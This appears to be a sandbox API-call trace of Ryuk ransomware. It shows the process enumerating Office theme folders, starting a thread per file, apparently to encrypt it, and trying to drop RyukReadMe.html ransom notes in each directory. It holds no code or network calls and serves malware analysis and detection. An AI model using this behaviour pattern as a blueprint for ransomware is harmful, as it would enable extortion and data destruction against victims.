	[0168.578] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1
	[0168.578] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678
	[0168.581] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.581] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.582] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.582] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c
	[0168.585] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.585] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.585] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680
	[0168.587] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.588] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.588] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.588] SetLastError (dwErrCode=0x0) 
	[0168.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.589] GetLastError () returned 0x5
	[0168.589] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.589] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.589] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0168.589] SetLastError (dwErrCode=0x0) 
	[0168.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.589] GetLastError () returned 0x5
	[0168.589] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.589] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.591] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.592] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1
	[0168.592] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684
	[0168.594] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.595] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1
	[0168.595] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688
	[0168.598] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.599] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.599] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c
	[0168.601] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.602] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.602] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690
	[0168.604] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.605] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.605] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.605] SetLastError (dwErrCode=0x0) 
	[0168.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.606] GetLastError () returned 0x5
	[0168.606] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.606] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.606] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0168.606] SetLastError (dwErrCode=0x0) 
	[0168.606] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.606] GetLastError () returned 0x5
	[0168.606] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.606] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.608] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.608] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1
	[0168.609] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694
	[0168.611] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.612] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1
	[0168.612] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698
	[0168.690] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.691] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.691] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c
	[0168.695] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.696] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.696] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.697] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0
	[0168.700] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.701] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0168.701] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0168.701] SetLastError (dwErrCode=0x0) 
	[0168.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.702] GetLastError () returned 0x5
	[0168.702] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.702] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.703] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1
	[0168.703] SetLastError (dwErrCode=0x0) 
	[0168.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.703] GetLastError () returned 0x5
	[0168.703] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0168.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.704] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0168.713] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0168.713] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1
	[0168.713] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4
	[0168.716] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.717] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x262, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CASCADE.INF", cAlternateFileName="")) returned 1
	[0168.717] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8
	[0168.720] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.720] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x553, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0168.720] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac
	[0168.724] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0168.725] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4f93, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0168.725] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0168.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0
	[0168.729] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
